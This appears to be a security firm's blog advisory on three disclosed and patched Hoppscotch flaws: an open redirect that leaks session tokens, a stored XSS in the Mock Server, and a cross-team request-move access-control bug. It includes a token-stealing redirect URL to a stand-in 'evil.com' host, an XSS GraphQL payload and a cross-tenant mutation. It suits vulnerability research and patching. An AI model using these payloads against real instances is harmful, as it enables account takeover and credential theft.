Introduction

Hoppscotch is an open-source API development ecosystem, similar to Postman, with over 100,000 monthly users. Two weeks ago, we set up a self-hosted instance and ran our AI pentest agents against it. They found two high-severity vulnerabilities and one medium-severity vulnerability, all present in versions up to and including 2026.2.1, and all patched in 2026.3.0:

• Account takeover via open redirect that allows authentication tokens to be exfiltrated to a malicious domain, enabling an attacker to authenticate as the victim.
• Stored XSS via the Mock Server, where JavaScript injected through a response header executes in the context of the Hoppscotch application, giving an attacker read and write access to anything the victim can see.
• A broken access control in request movement, where a user from one team can inject a request into another team's collection. If a member of the target team runs it, credentials and API keys can be exfiltrated.

All three were responsibly disclosed and have been resolved.

Remediation

Update self-hosted instances of Hoppscotch to version 2026.3.0 or higher.

The discovered vulnerabilities were added to the Aikido Intel database:

• https://intel.aikido.dev/cve/AIKIDO-2026-10462
• https://intel.aikido.dev/cve/AIKIDO-2026-10463
• https://intel.aikido.dev/cve/AIKIDO-2026-10461

Open redirect resulting in account takeover

Advisory: GHSA-7fg7-wx5q-6m3v

CVSS: 8.5 (High)

Affected versions: Hoppscotch <= 2026.2.1

Patched versions: 2026.3.0

Hoppscotch has both a web interface and a desktop application. In order to authenticate the desktop application, a URL as such is opened in the browser: 

http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token

The Hoppscotch instance uses the redirect_uri query parameter to send the session tokens to. This is where the vulnerability lies. The back-end had the following flawed validation on the URI:

if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
	throwHTTPErr({
		…
})
}

The code checks whether the URI starts with http://localhost, but it does not take into account that malicious domains like http://localhost.evil.com pass this check as well. As a result, if a victim browses to:
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token

‍
Hoppscotch would send their session tokens to http://localhost.evil.com. Since localhost is a subdomain of the attacker’s evil.com domain, instead of going to localhost, the request goes to the attacker’s server. They could then use these tokens to authenticate as the victim.

Our agents found the issue in the codebase and verified this by setting up a listener on a public IP and crafting a payload using sslip.io. By using the URI http://localhost.<attacker-ip>.sslip.io/, the payload successfully bypassed the startsWith check while forcing the browser to resolve the address to the attacker's server. Once the victim authenticated, the sensitive session tokens were leaked directly to our listener, confirming a full account takeover was possible.

The following pull request resolved the vulnerability by using a proper URL parser: https://github.com/hoppscotch/hoppscotch/pull/6012 

Stored XSS via Mock Server

Advisory: GHSA-wj4r-hr4h-g98v
‍CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0

Hoppscotch includes a Mock Server feature that serves user-defined responses from URLs under /mock/<subdomain>/. The backend is serving these responses from the same origin as the Hoppscotch application, meaning that Cross-Site Scripting (XSS) in the MockServer can be used to exfiltrate and modify user data.

To inject an XSS payload, the Aikido pentest agents bypassed UI restrictions, by sending a GraphQL API request which sets the Content-Type response header to text/html. This was not possible via the front-end.

Example request body:

{
    "query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
    "variables": {
        "id": "<REQUEST_ID>",
        "title": "addPet",
        "request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
    }
}

The XSS triggers once the user visits the mock API endpoint. For example: 

http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus

‍

To test this, AI agents injected a console.log payload into the response body via the GraphQL API, effectively bypassing the UI's content-type restrictions. Upon browsing to the specific mock endpoint, the browser executed the script, and the agents successfully captured the logged output in the console.

The following PR resolved the vulnerability by adding sanitization and sandboxing with a Content Security Policy:
https://github.com/hoppscotch/hoppscotch/pull/6006

Access Control: Move requests to another team

Advisory: GHSA-wj4r-hr4h-g98v

CVSS: 6.0 (Medium)

Affected versions: Hoppscotch <= 2026.2.1

Patched versions: 2026.3.0

Hoppscotch allows users to move or reorder requests between collections using the moveRequest GraphQL mutation. Agents discovered that the backend failed to properly validate permissions for the destination collection, allowing an attacker to "inject" their own requests into a collection belonging to a different team.

The vulnerability exists in the backend's validation logic: while it verifies the source request, it skips the destination team check if the nextRequestID is set to null. By providing the destCollID of a victim's team and leaving the nextRequestID empty, an attacker can successfully move a request across tenant boundaries:

{
    "operationName": "MoveTeamRequest",
    "query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
    "variables": {
        "req": "<ATTACKER_REQUEST_ID>",
        "dest": "<VICTIM_COLLECTION_ID>",
        "next": null
    }
}

This can result in an impact on confidentiality if a member of the victim team unknowingly runs the injected request or the parent collection. If they do so, requests that inherit authorization headers, or contains variable placeholders to - for example - API keys, the sensitive data could be exfiltrated to the attacker's server.

Below are traces of the agents identifying the vulnerability:

Examining teamID relationships - I'm wondering if requests can belong to collections from different teams without changing teamID. This could violate the foreign key constraint if the collection is tied to another team. The TeamRequest model probably connects collections by ID without strictly enforcing that teamID matches collection.teamID. In createTeamRequest, they do check that the team ID matches. However, if moving a request only updates collectionID without altering teamID, I need to check the Prisma schema to clarify how these relationships are structured. Let's look for the schema in the appropriate directory.

Identifying access control issues - I'm realizing that the guard only checks if a user is a member of the team associated with requestID and ignores permissions for the destination collection’s team. The moveRequest function is protected by GqlRequestTeamMemberGuard for roles like Editor or Owner, but it doesn’t include checks for GqlCollectionTeamMemberGuard on destCollID. This means an editor from Team A could move a request into Team B’s collection without being a member, creating a serious access control vulnerability.‍

Reviewing request handling - I need to confirm my understanding of findRequestAndNextRequest and reorderRequests. In findRequestAndNextRequest, it checks that the request exists in srcCollID. If nextRequestID is provided, it ensures nextRequest belongs to the same collection and team. However, if nextRequestID is null, it skips checking destCollID’s team ownership. 

In reorderRequests, it locks by request.teamID for src and dest collections. But if destCollID is from another team, it still goes ahead with updates without ensuring proper team checks, which could lead to issues.

‍

The following PR resolved the vulnerability by adding an authorization check:
https://github.com/hoppscotch/hoppscotch/pull/6006

Credit to TristanInSec, who had also independently identified the XSS vulnerability.

‍

Read more about our AI penetration testing research:
- SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel
- PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents

‍

Find out more about how our AI penetration testing agents work:
- How we make our AI agents safe by design
- How autonomous pentesting compares to manual pentesting

‍